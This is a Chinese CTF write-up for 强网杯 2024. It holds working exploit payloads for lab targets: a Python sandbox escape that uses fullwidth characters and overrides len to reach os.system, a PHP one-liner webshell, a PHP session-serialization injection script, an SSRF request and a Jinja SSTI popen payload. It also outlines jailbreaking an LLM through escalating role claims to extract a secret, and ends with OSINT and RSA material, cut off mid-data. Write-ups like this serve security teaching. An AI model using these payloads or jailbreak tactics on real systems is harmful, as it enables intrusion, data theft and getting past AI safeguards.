强网杯2024

打着玩,反正当不了先锋

友情提示:本文最后更新于 512 天前,文中的内容可能已有所发展或发生改变。

0x01 说在前面

打着玩,反正当不了先锋

0x02 question

签到

签到直接交就可以了

givemesecret

进来发现是TornadoServer/6.4.1

OK试试注入

1

然后中途stop,别看着只有一张图我可是锻炼了一早上呜呜呜

写写历程吧

从我要当主人-》我是工程师-》我是测试工程师,权限最高-》命令执行RCEecho `whoami`-》问secret-》问flag,一直问,终于成功了

PyBlockly

有代码的先看代码

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True
    
    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)
        
        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False

def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:  
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom: 
                print(f"ERROR: Banned module {node.module}")
                return False
    return True

def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False



def block_to_python(block):
    block_type = block['type']
    code = ''
    
    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  
        code = f"print({text})"
           
    elif block_type == 'math_number':
        
        if str(block['fields']['NUM']).isdigit():      
            code =  int(block['fields']['NUM']) 
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
        
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':
        
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =  f"max({a}, {b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}, {b})"

    if 'next' in block:
        
        block = block['next']['block']
        
        code +="\n" + block_to_python(block)+ "\n"
    else:
        return code 
    return code

def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]

    python_code = ""
    python_code += block_to_python(block) + "\n"

        
    return python_code

def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):  
            with open("run.py", 'w') as f:
                f.write(code)        
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        os.remove('run.py')
        return "Timeout!"

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)
        return do(python_code)
    except Exception as e:
        return jsonify({"error": "Error generating Python code", "details": str(e)})
    
if __name__ == '__main__':
    app.run(host = '0.0.0.0')

首先一进来这个黑名单过滤了很多符号(所有),除了空格大小写字母数字

def module_exists(module_name):

    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True
    
    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)
        
        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False

判断函数是否为内置模块,如果为自定义模块则返回False

def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:  
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom: 
                print(f"ERROR: Banned module {node.module}")
                return False
    return True

判断是否有导入语句,AST为一个标准库

然后就是两个来进行代码处理的函数,重点是这里

1

进行了代码的执行,其中我们绕过关键词即可,现在的问题就是插入恶意代码以及绕过了

现在我们知道发包的格式类似于这种

{
  "blocks": {
    "languageVersion": 0,
    "blocks": [
      {
        "type": "print",
        "id": "1",
        "inputs": {
          "TEXT": {
            "block": {
              "type": "text",
              "id": "2",
              "fields": {
                "TEXT": "Hello, World!"
              }
            }
          }
        }
      }
    ]
  }
}

但是读取文件这里又卡住了,这里不让有的关键词如何绕过,还有就是文件读取命令使用什么

后面查看自己的CTFshow之前的记录发现可以使用半角符号来绕过关键词,读取命令用这个

root@dkcjbRCL8kgaNGz:~# dd if=/flag
flag{I_love_Yo3}
0+1 records in
0+1 records out
17 bytes copied, 3.9533e-05 s, 430 kB/s

但是后面发现这个payload我这么写都写不好,八进制绕过给我爆500,然后上网搜索有没有内置的读取文件的Flask中内置的读取文件方法

找到get_data方法

转半角脚本

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
t=''
s="1"
for i in s:
    t+=half2full(i)
print(t)
{
  "blocks": {
    "blocks": [
      {
        "type": "print",
        "inputs": {
          "TEXT": {
            "block": {
              "type": "text",
              "fields": {
                "TEXT": "123‘,getattr("".__class__.__bases__.__getitem__(0).__subclasses__()[121], "get_data")(1, "/etc/passwd"),’"
              }
            }
          }
        }
      }
    ]
  }
}
{
  "blocks": {
    "blocks": [
      {
        "type": "print",
        "inputs": {
          "TEXT": {
            "block": {
              "type": "text",
              "fields": {
                "TEXT": "123‘,getattr("".__class__.__bases__.__getitem__(0).__subclasses__()[121], "get_data")(1, "/proc/1/environ"),’"
              }
            }
          }
        }
      }
    ]
  }
}

还是搞不到,难道还是要命令执行才可以吗

题目中说了len不能超过4,这里直接重写len

POST /blockly_json HTTP/1.1
Host: eci-2zefm3fmppqf7kdz1ghu.cloudeci1.ichunqiu.com:5000
Content-Length: 317
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Origin: http://eci-2zefm3fmppqf7kdz1ghu.cloudeci1.ichunqiu.com:5000
Referer: http://eci-2zefm3fmppqf7kdz1ghu.cloudeci1.ichunqiu.com:5000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1728270163,1728484327,1728520102,1728911088
Connection: close

{"blocks":{"languageVersion":0,"blocks":[{"type":"text","id":"Yl.b$Wv5$31H:nQG/2fi","x":0,"y":181,"fields":{"TEXT":"‘;__import__(”builtins”)。len=lambda a:4;’‘;__import__(”os”)。system(”$(printf ‘dd if=/flag’); ”);’"}}]}}

xiaohuanxiong

V5.1.35 LTS { 十年磨一剑-为API开发设计的高性能框架 }

是一个tp,进来之后先安装,然后等待一会儿,管他的先扫吧

[10:09:00] 200 -    1KB - /admin/login                                      
[10:09:00] 200 -    1KB - /admin/login.html                                 
[10:09:00] 200 -    1KB - /Admin/login/
[10:14:20] 200 -    1KB - /login                                            
[10:14:21] 200 -    1KB - /login.html                                       
[10:14:22] 200 -    1KB - /login/                                           
[10:14:22] 200 -    1KB - /login/admin/
[10:14:23] 200 -    1KB - /login/admin/admin.asp                            
[10:14:23] 200 -    1KB - /login/administrator/
[10:14:23] 200 -    1KB - /login/cpanel.php
[10:14:23] 200 -    1KB - /login/cpanel.aspx
[10:14:23] 200 -    1KB - /login/cpanel.html
[10:14:23] 200 -    1KB - /login/cpanel.jsp
[10:14:23] 200 -    1KB - /login/cpanel.js
[10:14:23] 200 -    1KB - /login/cpanel/
[10:14:23] 200 -    1KB - /login/index
[10:14:23] 200 -    1KB - /login/login
[10:14:23] 200 -    1KB - /login/oauth/
[10:14:23] 200 -    1KB - /login/super
[10:14:29] 200 -  899B  - /logout                                           
[10:14:29] 200 -  899B  - /logout.html                                      
[10:14:29] 200 -  899B  - /logout/                                          
[10:15:29] 200 -    1KB - /register                                         
[10:15:29] 200 -    1KB - /register.html                                    
[10:15:30] 200 -   24B  - /robots.txt                                       
[10:15:31] 200 -    2KB - /search                                           
[10:15:31] 200 -    2KB - /search.php                                       
[10:15:31] 200 -    2KB - /search.js
[10:15:31] 200 -    2KB - /search.html
[10:15:31] 200 -    2KB - /search.aspx                                      
[10:15:31] 200 -    2KB - /search.jsp
[10:15:31] 200 -    2KB - /search_admin
[10:15:31] 200 -    2KB - /searchreplacedb2.php                             
[10:15:31] 200 -    2KB - /searchresults.aspx                               
[10:15:31] 200 -    2KB - /searchresults.html
[10:15:31] 200 -    2KB - /searchresults.php
[10:15:31] 200 -    2KB - /searchresults.js
[10:15:31] 200 -    2KB - /searchreplacedb2cli.php
[10:15:31] 200 -    2KB - /searchresults.jsp

扫的确实慢了点不过心急吃不了热豆腐,接着搞,发现admin/Admins,这里发现支付可以添加PHP代码

/admin/payment/index.html

直接添加一句话木马,但是我发现有个小细节就是必须加不能报错和引号,不然就无法使用,加完直接返回漫画主页就已经getshell了

难得就在于拿到admin/Admins这个路由,御剑是可以爆破出来的

platform

扫出来源码www.zip

拿到之后是一个PHP。我们慢慢看

1

看到这里之后发现直接就是在class.php,但是有session,可能有竞争?

后来想想这里不是有个空值嘛

1

经过测试发现怎么弄都会是56个字符

";session_key|s:20:"FIzIiMb901w1XCmMXvui";password|s:99:

";session_key|s:19:"kkTEOXdlrTsA7fOnDWI";password|s:106:

于是这里我们进行逃逸即可

print("passthru"*7)

然后再插入我们的session序列化poc

;session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("sys"."tem")($_GET[a]);";}password|s:2:"wi

当然这里如果是脚本的话肯定是要http头的

import requests

headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cache-Control': 'no-cache',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Pragma': 'no-cache',
    'Proxy-Connection': 'keep-alive',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
}

params = {
    'a': "/readflag"
}

data = {
  'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("sys"."tem")($_GET[a]);";}password|s:2:"wi',
  'username': 'passthrupassthrupassthrupassthrupassthrupassthrupassthru'
}


url = "http://eci-2zebwi4k2x5ugkdi45iw.cloudeci1.ichunqiu.com/"
while 1:
    r = requests.session()
    response1 = r.post(url+'/index.php', headers=headers, data=data, verify=False, allow_redirects=False)
    response2 = r.post(url+'/index.php', headers=headers, data=data,verify=False, allow_redirects=False)
    response3 = r.post(url + '/dashboard.php',params=params,headers=headers, verify=False, allow_redirects=False)
    if "flag" in response3.text:
        print(response3.text)
        print(r.cookies)
        break
    else:
        print(response3.text)
        print(r.cookies)
    r.close()

Proxy

有源码

package main

import (
	"bytes"
	"io"
	"net/http"
	"os/exec"

	"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
	URL             string            `json:"url" binding:"required"`
	Method          string            `json:"method" binding:"required"`
	Body            string            `json:"body"`
	Headers         map[string]string `json:"headers"`
	FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
	r := gin.Default()

	v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			cmd := exec.Command("/readflag")
			flag, err := cmd.CombinedOutput()
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}
			c.JSON(http.StatusOK, gin.H{"flag": flag})
		})
	}

	v2 := r.Group("/v2")
	{
		v2.POST("/api/proxy", func(c *gin.Context) {
			var proxyRequest ProxyRequest
			if err := c.ShouldBindJSON(&proxyRequest); err != nil {
				c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
				return
			}

			client := &http.Client{
				CheckRedirect: func(req *http.Request, via []*http.Request) error {
					if !req.URL.IsAbs() {
						return http.ErrUseLastResponse
					}

					if !proxyRequest.FollowRedirects {
						return http.ErrUseLastResponse
					}

					return nil
				},
			}

			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			for key, value := range proxyRequest.Headers {
				req.Header.Set(key, value)
			}

			resp, err := client.Do(req)

			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			defer resp.Body.Close()

			body, err := io.ReadAll(resp.Body)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			c.Status(resp.StatusCode)
			for key, value := range resp.Header {
				c.Header(key, value[0])
			}

			c.Writer.Write(body)
			c.Abort()
		})
	}

	r.Run("127.0.0.1:8769")
}

1

得到发包格式

1

这里直接就可以拿到flag,那我们直接curl发包

root@dkcjbRCL8kgaNGz:~# curl -X POST http://47.94.231.2:30773/v2/api/proxy \
-H "Content-Type: application/json" \
-d '{
    "url": "http://127.0.0.1:8769/v1/api/flag",
    "method": "POST",
    "body": "",
    "headers": {},
    "follow_redirects": false
}'
{"flag":"ZmxhZ3s1ZWRlMjYzYi0xZjAzLTRhNGYtYTUyMC1jNGM4ZjE3MzYyOWF9"}

然后解码即可

flag{5ede263b-1f03-4a4f-a520-c4c8f173629a}

snake

进来是个贪吃蛇,肯定是要通关才能够拿到flag,那么我们爆破爬取路由

拿到/snake_win

1

测出有sql注入漏洞,尝试注入之后没有结果

响应头也没说是什么web服务,测试了很久发现可以ssti

1

man,flag终于是要到我手里了嘛

http://eci-2ze762llzxw5o9w9mbw2.cloudeci1.ichunqiu.com:5000/snake_win?username=1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'tac /flag\').read()')}}"-- -

Master of OSINT

进来之后发现是个找图片

使用工具慢慢she出经纬度

https://api.map.baidu.com/lbsapi/getpoint/index.html

https://map.baidu.com/search/

1

看到有湖并且这里很平,打开地图,国内有湖的地方就这两个

1

挨着试找到是海南藏族自治州这里

1

百安居(这里注意要下载,不然看不到这个)

1

第三张图的话就很熟悉了,因为我在成都,这是双流机场

1

这里一个大卡车重汽(找物流公司)

1

这不是一模一样?

1

这一看就是重庆继续找找这个高架

1

简直了

1

还是高架,每个图都在高架上面基本是

1

1

这个好搞,橘子洲

1

1

这个我都不用看,长江大桥

1

1

ok终于是找完了,最后经过两年半的查找答案如下

一 99.974383,36.66725
二 121.567039,31.211279
三 103.966657,30.571185
四 120.293197,30.346334
五 106.524114,29.52509
六 118.783635,32.013335
七 112.969521,28.201853
八 121.734859,31.412815
九 114.412567,30.661017
十 120.308631,30.152785

1

EasyRSA

先进去拿参数

N=42904039314199895721696616855758464218776719155277644688156355421669731926586744657558904856662524664815001053906568694877941070734379088087661446033173083187445772619113110948584643982194462341444480231060053008290646295405517083378534377980681311369011669792894523149142258780642722178595904015146283411763379803572408919306199860289071979553687419537458952652653841956474558202437419097277523814620107550505762949933586019973892299407282425426574324269936979456148685237646197700304901043932950332167503114720687804083313706537708157799145007429182143131211123753832870983386421744654743615691456503687433253700707
e=65537
g=2467289273249224073499308128504701193779913828213444430435151093961964204649293591016042690390824880024231535639632722916163130665022776513946276332507
enc=12709693287264155874588327905007095658924584817796376099734882542910731460825766770672115564368497141711860077407627137628906166192867282903038794375385103923117937259213778979889844254053587067543343272153487237062941786040827781296627252935285712565966813858306852382594194367821015639439066528157046594978868346586874763813295540162505405425455235498583512373062022633584465000726414162171619788788030500551923136766813781433302278483256483999391289749744953431408447702944986393707616176873212339507135665819552507676368414131287311936039623896380645989109820457591105147343119080909601863364535862069112518457752

这靶机我之前一直没看到我丢,然后就不用管靶机了,其次不要关靶机,我关了靶机导致一直跑不出来

#encoding:utf-8
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2

class RSAEncryptor:
    def __init__(self):
        self.g = self.a = self.b = 0
        self.e = 65537
        self.factorGen()
        self.product()

    def factorGen(self):
        while True:
            self.g = getPrime(500)
            while not gmpy2.is_prime(2*self.g*self.a+1):
                self.a = random.randint(2**523, 2**524)
            while not gmpy2.is_prime(2*self.g*self.b+1):
                self.b = random.randint(2**523, 2**524)
            self.h = 2*self.g*self.a*self.b+self.a+self.b
            if gmpy2.is_prime(self.h):
                self.N = 2*self.h*self.g+1
                print(len(bin(self.N)))
                return

    def encrypt(self, msg):
        return gmpy2.powmod(msg, self.e, self.N)

    def product(self):
        with open('/flag', 'rb') as f:
            self.flag = f.read()
        # Convert flag to an integer before encryption
        flag_int = bytes_to_long(self.flag)
        self.enc = self.encrypt(flag_int)
        self.show()
        print(f'enc={self.enc}')

    def show(self):
        print(f"N={self.N}")
        print(f"e={self.e}")
        print(f"g={self.g}")

RSAEncryptor()
  1. 生成素数和模数 (N):
    • self.g 是一个500位的素数。
    • self.aself.b 是随机生成的数,它们使得 2*self.g*self.a+12*self.g*self.b+1 是素数。
    • self.h2*self.g*self.a*self.b+self.a+self.b,且 self.h 也是素数。
    • N 被计算为 2*self.h*self.g+1
  2. 加密过程:
    • 使用公钥 (N, e),其中 e 是常用的 65537
    • 消息用 gmpy2.powmod(msg, e, N) 进行加密。
  3. 解密的挑战:
    • 通常,RSA解密需要私钥 (d),它通过求解 ed ≡ 1 (mod φ(N)) 获得。这里 φ(N) 是欧拉函数,通常是 (p-1)(q-1)pqN 的两个素数因子。

解密的话我们

  1. 模数分解 (Factorization):
    • 目标是将大整数模数 NN 分解为两个素数乘积 pp 和 qq。在此方案中,利用已知的结构 p=2ga+1p=2g**a+1 和 q=2gb+1q=2g**b+1 进行推导。
  2. 中国剩余定理 (Chinese Remainder Theorem, CRT):
    • 使用求解 uv 的过程,间接利用了模数分解的结构特性,通过推导近似根来简化计算过程。
  3. 指数求逆 (Modular Inversion):
    • 计算私钥指数 dd 的过程利用了模逆运算。具体来说,通过求解 d≡e−1(modϕ(N))de−1(modϕ(N)),其中 ϕ(N)=(p−1)(q−1)ϕ(N)=(p−1)(q−1)。
  4. 密文解密 (Ciphertext Decryption):
    • 使用模幂运算实现解密,即 m=Cd(modN)m=C**d(modN)。
  5. 平方根逼近 (Root Approximation):
    • 通过 iroot 函数计算平方根,利用近似和迭代方法逼近解。
  6. 数论攻击 (Number Theory Attack):
    • 整个解密方案可以视为基于数论特性的攻击,通过已知因子关系和结构性弱点来恢复加密密钥。

最后写个脚本,此时一定要注意,把rs写大一点节省时间不然靶机都没了可能还是跑不出来

#encoding:utf-8
from Crypto.Util.number import bytes_to_long, long_to_bytes
from gmpy2 import mpz, iroot, powmod, invert

# N = pq 2050bit; p 1025 bit; q 1025 bit
N=mpz("36485011506081204249353320553950613538202089151659637848115802055074144483670941532556535766902145921973594997027479624905209949691271762025427477743585502482131332590436695347051791231697483166685773359997599962390951389807897889989842749391578113929807413080535375105955893148740093617956725535911664750114893144869800480780770094530308687537645720410428791977178530996923717038507261474355948618508166751918076068001409953063336528028033025761084181080126504217426369672569710112079242859636376145175734678264411553576130988579634184334371125938410224579198183934903162942790258446634362761502507649065084540399627")
# g 500bit; is p-1 and q-1 prime factor
# p = 2*g*a + 1; q = 2*g*b + 1
g=mpz("2247113742037388549126827263530967729647876171160434451719365936820171519384453150516592428020693798355300913115889019295485975565435074105418185872653")
e = 65537
C=mpz("8723174185243286745778722165394947826680341325024406927179799187651216273269550886122199189840469819205011474538291123038948795537734295353538048662643560558613222940652432465387821767869659987332731872376334835470075829738040916495874122194399361612840158429781298635579378738659475708516663189740417547967046498681970164226439603650301067936899183776866269511992054665324683444422921359125980570625643493195848148074925368422310976126635090617900612294394294526142884055556163913650939907516297466755311082324437407938032687938659279120158022331434516948954703962993479193049714934370005556711772066538439821538739")
# Calculate h, u, and v
h = (N - 1) // g
u = h // g
v = h % g

def Solve_c():
    # Calculate approximate square root of N
    sqrt_N = iroot(mpz(N), 2)[0]
    C_approx = sqrt_N // (g * g)  # 确保结果为整数

    a = 2
    b = powmod(a, g, N)

    # Loop over possible values of C
    for i in range(2, int(C_approx) + 1):  # 使用 int() 将 C_approx 转换为整数
        D = (iroot(C_approx, 2)[0] + 1) * i
        final = powmod(b, u, N)
        for r in range(5100,int(D)):
            print(f"Checking r*D for i={i}: {r * D}")
            for s in range(4000,int(D)):
                if powmod(b, r * D + s, N) == final:
                    print("Solution found: r =", r, "s =", s, "i =", i)
                    return r * D + s

# Get the value of c
c = Solve_c()
print("c:", c)  # Expected output: c = 51589121

# Calculate A and B for quadratic equation
A = u - c  # x * y = u - c
B = v + c * g  # x + y = v + c * g

# Calculate the values of x and y using the quadratic formula
delta = iroot(B * B - 4 * A, 2)[0]
x = (B + delta) // 2
y = (B - delta) // 2

a = x // 2
b = y // 2

# Calculate p and q
p = 2 * g * a + 1
q = 2 * g * b + 1

# Calculate private key exponent d
d = invert(e, (p - 1) * (q - 1))

# Decrypt the ciphertext
m = powmod(C, d, N)
print("Decrypted message:", long_to_bytes(m))

apbq

[+] Welcome to my apbq game
┃ stage 1: p + q
┃ hints = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
┃ public key = (89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589, 65537)
┃ enc1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
----------------------
┃ stage 2: ai*p + bi*q
┃ hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567, 22620929075309280405649238349357640303875210864208854217420509497788451366132889431240039164552611575528102978024292550959541449720371571757925105918051653777519219003404406299551822163574899163183356787743543, 20448555271367430173134759139565874060609709363893002188062221232670423900235907879442989619050874172750997684986786991784813276571714171675161047891339083833557999542955021257408958367084435326315450518847393, 16581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730, 23279853842002415904374433039119754653403309015190065311714877060259027498282160545851169991611095505190810819508498176947439317796919177899445232931519714386295909988604042659419915482267542524373950892662544, 16542280976863346138933938786694562410542429842169310231909671810291444369775133082891329676227328401108505520149711555594236523078258701726652736438397249153484528439336008442771240980575141952222517324476607, 17054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973, 22115728663051324710538517987151446287208882441569930705944807337542411196476967586630373946539021184108542887796299661200933395031919501574357288914028686562763621166172668808524981253976089963176915686295217, 19324745002425971121820837859939938858204545496254632010818159347041222757835937867307372949986924646040179923481350854019113237172710522847771842257888083088958980783122775860443475680302294211764812636993025, 17269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492, 17365467616785968410717969747207581822018195905573214322728668902230086291926193228235744513285718494565736538060677324971757810325341657627830082292794517994668597521842723473167615388674219621483061095351780, 20823988964903136690545608569993429386847299285019716840662662829134516039366335014168034963190410379384987535117127797097185441870894097973310130525700344822429616024795354496158261293140438037100429185280939, 19068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459, 20089639597210347757891251257684515181178224404350699015820324544431016085980542703447257134320668961280907495580251880177990935443438799776252979843969984270461013888122703933975001704404129130156833542263882, 22344734326131457204500487243249860924828673944521980798994250859372628295695660076289343998351448667548250129358262592043131205967592613289260998148991388190917863322690137458448696392344738292233285437662495, 22688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538, 21286046487289796335501643195437352334100195831127922478044197411293510360710188581314023052580692810484251118253550837525637065385439859631494533102244585493243972819369812352385425700028640641292410326514111, 21542729548465815605357067072323013570796657575603676418485975214641398139843537820643982914302122976789859817102498484496409546012119998359943274203338400776158986205776474024356567247508744784200354385060666, 22319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160, 25195209191944761648246874631038407055240893204894145709996399690807569652160721616011712739214434932639646688187304865397816188999592774874989401871300784534538762135830014255425391132306536883804201055992313, 18257804244956449160916107602212089869395886846990320452133193087611626919926796845263727422042179229606817439442521540784268169177331707314788427670112999551683927934427716554137597798283300120796277229509678, 20293403064916574136692432190836928681820834973375054705153628740577159076332283715581047503287766236543327123639746352358718218140738999496451259789097826888955418315455420948960832865750253988992454128969953, 15967654820584966012628708475666706277218484919923639492431538068059543232562431059752700377242326527417238151501168940191488179144049286512652111172149113549072003881460743035279388672984805823560897688895124, 25144187979876039024245879200325843092774389926620026124061775431569974232758799200333888039013494603721065709195353330350750055309315207499741437181094874894647736904055829877859906318073991986020178158776286, 15736932921640444103019961538951409924080453868073105830403926861058056351553271238438325117113945341892868641345117717666354739204401152657265824568724844930574396801692131746182948347887298330990039956813130, 18831072673439732764722762485733622234889447953507582396819704359771208236721692820362137219509611319088756045211407777880521726782697895768017460064889670066178710804124631128581556314122255564861269062385337, 23800437561684813552661749774840752013501533683948618798811470214669024646396165487093720960221009038817909066075238937189371227098032581450466402462014437421254375846263830927945343485988463525070074913720710, 24402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670, 20215481513831963554421686543560596857659844027486522940060791775984622049024173363533378455076109165728144576719015392033536498353094895564917644840994662704362121549525329105205514332808950206092190939931448, 18384453917605955747212560280232547481041600196031285084598132475801990710125754705645482436436531608696373462641765399622296314590071558616193035939108523357020287896879479452040171765916716377102454266933226, 21890401344164908103930010123434944359446535642544335610455613014563290097498740447164765588532234051104173227090428486681237432196639010849051113283297943367655458678533223039415083212229970648958070799280218, 18379893441293694747570620009241814202936873442370354246029979042247705730610190888710981918183390028386451290137755339890329474403224043675724851314770861939082447728194632548864823398818221526652331319263027, 18715827130228986951360013590464775001019026913384718876134449689773600060962392738619405370033085704046027397895627933844824630723286144367800484157574548819065406118338665931032779491897783504790669824301288, 13588739911708699123450670852772302012518315143187739886523841133752009403411431627334135210166268158490674049617489193734568451811305631563767138879895461211915128972052001136464325219117009268526575020143259, 18506039912943821193373920483847347155611306173368341979655092778147169768984477236224526786441466933360500418090210912574990962709452725122792963919616633389125605160796446674502416801964271004625701238202575, 22167985517547342184812919437069844889650448522260359154086923601900060998572245598167213217022051141570075284051615276464952346620430587694188548679895095556459804921016744713098882496174497693878187665372865, 21507363933875318987283059841465034113263466805329282129011688531718330888226928182985538861888698160675575993935166249701145994333840516459683763957425287811252135418288516497258724668090570720893589001392220, 20250321586608105267884665929443511322540360475552916143405651419034772061789298150974629817817611591100450468070842373341756704300393352252725859102426665187194754280129749402796746118608937061141768301995522, 16104259151024766025645778755951638093681273234415510444173981198301666343334808614748361662637508091511498829253677167171091582942780017355912433497214576425697459483727777273045993446283721290714044600814203, 14560242181138184594433372530956542527312169507277535425067427080573272033961044062335960097446781943943464713852520415535775461964590009720592053626735276833191667395201287169782350381649400286337671320581068, 16239347596615402699390026749150381714807445218767496868569282767673828662340774349530405347667558555781433774705139593469838946201218537641296949822639509296966092138954685186059819628696340121356660166937131, 21344472317634795288252811327141546596291633424850284492351783921599290478005814133560171828086405152298309169077585647189366292823613547973428250604674234857289341613448177246451956695700417432794886277704716, 16053809990112020217624905718566971288375815646771826941011489252522755953750669513046736360397030033178139614200701025268874379439106827823605937814395162011464610496629969260310816473733828751702925621950679, 18917855883623050190154989683327838135081813638430345099892537186954876489710857473326920009412778140451855952622686635694323466827034373114657023892484639238914593012175120540210780102536003758794571846502397, 22690171278715056779052233972642657173540399024770527983659216197108042021644328773010698851143953503599329885607621773816718008861742027388432534850163666629476315340137626681994316866368449548292328156728206, 21087818524872480052313215092436868441694786060866149491087132591272640372512484925209820065536439188250579925233059144898601140234767300574307770064543499923712729705795392684173268461519802573563186764326797, 18439753470094841291394543396785250736332596497190578058698960152415339036714664835925822942784700917586270640813663002161425694392259981974491535370706560550540525510875465091384383255081297963169390777475352, 20105719699015744146039374208926740159952318391171137544887868739518535254000803811729763681262304539724253518465850883904308979964535242371235415049403280585133993732946919550180260852767289669076362115454200, 